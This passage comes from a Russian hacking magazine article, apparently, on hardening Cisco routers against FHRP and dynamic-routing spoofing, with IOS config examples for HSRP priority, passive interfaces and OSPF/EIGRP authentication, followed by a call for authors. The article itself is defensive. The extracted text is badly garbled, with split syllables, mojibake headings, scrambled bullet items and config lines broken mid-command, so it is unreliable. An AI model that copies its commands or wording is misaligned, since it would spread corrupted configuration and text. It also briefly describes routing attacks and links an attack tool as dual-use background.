тиза торе выс тавить мак сималь ный при ори тет. В таком слу чае, если зло умыш- 
ленник отпра вит вре донос ный пакет с при ори тетом 255, стать «глав ным»
у него уже не получит ся, ведь такой уже име ется. Одна ко для VRRP это не
сра бота ет, потому что мак сималь ный при ори тет, который мож но задать, —
254. Поэто му разум нее будет исполь зовать или аутен тифика цию, или даже
филь тра цию на осно ве ACL.

При мер задания мак сималь ного при ори тета для HSRP:

NightmareRouter(config)# int g0/0
NightmareRouter(config-if)# standby 1 priority 255

ÇÀÙÈÒÀ ÄÈÍÀÌÈ×ÅÑÊÎÉ ÌÀÐØÐÓÒÈÇÀÖÈÈ

Dynamic Routing Protocols (DRP) — динами чес кая мар шру тиза ция — при- 
меня ется в каж дой круп ной кор поратив ной сети и поз воля ет мар шру тиза- 
торам внут ри AS обме нивать ся мар шрут ной информа цией авто мати чес ки.
Одна ко я встре чал халат ное отно шение к нас трой ке DRP. А при динами чес кой
мар шру тиза ции есть опас ные мис конфи ги, которые откры вают воз можнос ти
для атак на сам домен динами чес кой мар шру тиза ции. Нап ример, это может
быть отсутс твие пас сивных интерфей сов или отсутс твие аутен тифика ции.

Ти пич ная схе ма с DRP

Точ но так же, как и с FHRP, пакеты про токо лов динами чес кой мар шру тиза ции
муль тикас товые, и их мож но ана лизи ровать со сто роны поль зователь ской
сети, то есть той сети, которая анон сиру ется наружу. У потен циаль ного ата- 
кующе го есть воз можность про вес ти ата ку: он может под нять на сво ей сто- 
роне вир туаль ный мар шру тиза тор и под клю чить ся к домену мар шру тиза ции.
Тем самым он может выз вать:

 — ата кующий узна ет информа цию

о некото рых сетях, которые анон сиру ются в рам ках DRP;

• ïå ðå÷èñ ëåíèå èíôîðìà öèè

 — ата кующий может завер нуть тра фик того или ино го хос та

в «чер ную дыру», выз вав DoS;

• Blackhole

, которые
могут вызывать перепол нение таб лицы мар шру тиза ции, вследс твие чего
получа ем DoS (в этом слу чае ата кующий дол жен иметь роль Master).

• ðàñ ñûëêó ëîæ íûõ îáíîâëå íèé LSU èëè EIGRP Update

Ïàññèâíûå èíòåðôåéñû

Нас трой ка пас сивных интерфей сов в кон тек сте динами чес кой мар шру тиза- 
ции поз воля ет роуте ру зап ретить рас сылать объ явле ния через некото рые
интерфей сы. По умол чанию без нас трой ки пас сивных интерфей сов он рас- 
сыла ет объ явле ния во все интерфей сы, а это под верга ет домен мар шру тиза- 
ции боль шому рис ку.

При мер пас сивных интерфей сов для OSPF:

NightmareRouter(config)# router ospf X
NightmareRouter(config-if)# passive-interface GigabitEthernet X/X

При мер пас сивных интерфей сов для EIGRP:

NightmareRouter(config)# router eigrp X
NightmareRouter(config-if)# passive-interface GigabitEthernet X/X

Àóòåíòèôèêàöèÿ

При мене ние аутен тифика ции в доменах мар шру тиза ции поз воля ет обес- 
печить воз можность вхо да толь ко авто ризо ван ным, легитим ным мар шру тиза- 
торам. Одна ко аутен тифика ция нас тра ивает ся с помощью паролей. Если ты
собира ешь ся защитить домен мар шру тиза ции, исполь зуя аутен тифика цию,
обя затель но позаботь ся, что бы эти пароли были дос таточ но стой кими. Они
хеширу ются с помощью крип тогра фичес ких хеш-фун кций, и зло умыш ленник
смо жет счи тать зна чения хешей из дам па тра фика и вскрыть пароль перебо- 
ром. С получен ным паролем он без тру да под клю чит ся к домену мар шру тиза- 
ции.

При мер исполь зования аутен тифика ции для OSPF:

NightmareRouter(config)# interface GigabitEthernet X/X
NightmareRouter(config-if)# ip ospf authentication message-digest
NightmareRouter(config-if)# ip ospf message-digest-key <KEY ID> md5 <
KEYSTRING>

При мер исполь зования аутен тифика ции для EIGRP:

NightmareRouter(config)# key chain EIGRPWITHKEYCHAINS
NightmareRouter(config-keychain)# key 1
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config-keychain)# key 2
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config)# interface GigabitEthernet X/X
NightmareRouter(config-if)# ip authentication mode eigrp <ASN> md5
NightmareRouter(config-if)# ip authentication key-chain eigrp <ASN> 
EIGRPWITHKEYCHAINS

Здесь мож но исполь зовать даже Keychain-аутен тифика цию. Это такой стиль
аутен тифика ции, при котором при меня ется нес коль ко клю чей. Это усложнит
жизнь ата кующе му, пос коль ку при дет ся не толь ко бру тить клю чи, но еще
и уга дать их порядок.

ÂÛÂÎÄÛ

Я рас смот рел основные кон цепции, которые помогут защитить сети
от Spoong-атак. По моему мне нию, мощ ность фун кций сетево го обо рудо- 
вания кри миналь но недо оце нива ют. Уме ло исполь зуя их, ты можешь сде лать
очень мно гое для безопас ности сети. Одна ко под ходить к это му нуж но
с умом и понима нием внут ренних про цес сов в сети.

https://github.com/dirkjanm/mitm6


«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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